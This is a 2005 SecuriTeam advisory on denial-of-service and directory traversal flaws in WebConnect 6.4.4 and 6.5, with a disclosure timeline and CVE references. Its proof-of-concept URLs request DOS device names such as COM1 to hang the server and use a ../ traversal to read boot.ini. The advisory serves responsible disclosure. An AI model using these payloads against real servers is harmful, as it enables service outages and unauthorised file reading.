

Securiteam: [NT] Multiple Vulnerabilities in WebConnect (Directory Traversal, DoS)

# [NT] Multiple Vulnerabilities in WebConnect (Directory Traversal, DoS)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-02/0091.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 02/22/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 22 Feb 2005 15:47:06 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Multiple Vulnerabilities in WebConnect (Directory Traversal, DoS)

---

## SUMMARY

<<http://www.openconnect.com/solutions/webconnect.jsp>> WebConnect is "client-server based software that provides secure browser based emulation to mainframe, midrange and UNIX systems".

WebConnect has been found to contain a DoS and a directory traversal vulnerability.

## DETAILS

Vulnerable Systems:

- \* WebConnect version 6.4.4
- \* WebConnect version 6.5

Immune Systems:

- \* WebConnect version 6.5.1 or newer

Denial Of Service

When requesting a DOS device (such as LPT1) in the URL the server will stop responding to any further requests before a manual restart of service

## Securiteam: [NT] Multiple Vulnerabilities in WebConnect (Directory Traversal, DoS)

has been made. This attack can be preformed on both the client website and the administration interface.

Proof-of-concept

<http://target:2080/COM1>

<http://target:2080/COM2>

<http://target:2080/AUX>

<http://target:2080/COM1.jsp>

<http://target:2080/COM1.html>

<http://target:2080/COM1.smurf>

Directory Traversal

The file jretest.html is vulnerable to reading files from outside the webroot, this seems only possible if the "parms" has to be set to "default". The problem exists since the service as default runs with system rights, this could give access to the entire partition that WebConnect is installed on. This problem shows that the file is not properly sanitize.

Proof-of-concept:

[http://target:2080/jretest.html?lang=&parms=default&WCP\\_USER=../../../../../../../../boot.ini&action=](http://target:2080/jretest.html?lang=&parms=default&WCP_USER=../../../../../../../../boot.ini&action=)

Disclosure Timeline:

06-12-2004 – Vulnerability discovered

20-12-2004 – Research completed

20-12-2004 – Vendor contacted – Openconnect VEND#662112

06-01-2005 – CERT informed by vendor

18-01-2005 – New version 6.5 – Directory traversal are fixed and

Denial-of-service are still vulnerable to this attack

18-01-2005 – Vendor informed

25-01-2005 – Vendor fixed the vulnerability

10-02-2005 – CERT responded – VU#552561 / CAN-2004-0466 and VU#628411 /

CAN-2004-0465

14-02-2005 – Public Disclosure delayed due to request from vendor

21-02-2005 – Public Disclosure

### ADDITIONAL INFORMATION

The information has been provided by <mailto:advisory@cirt.dk> CIRT Advisory.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

Securiteam: [NT] Multiple Vulnerabilities in WebConnect (Directory Traversal, DoS)

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.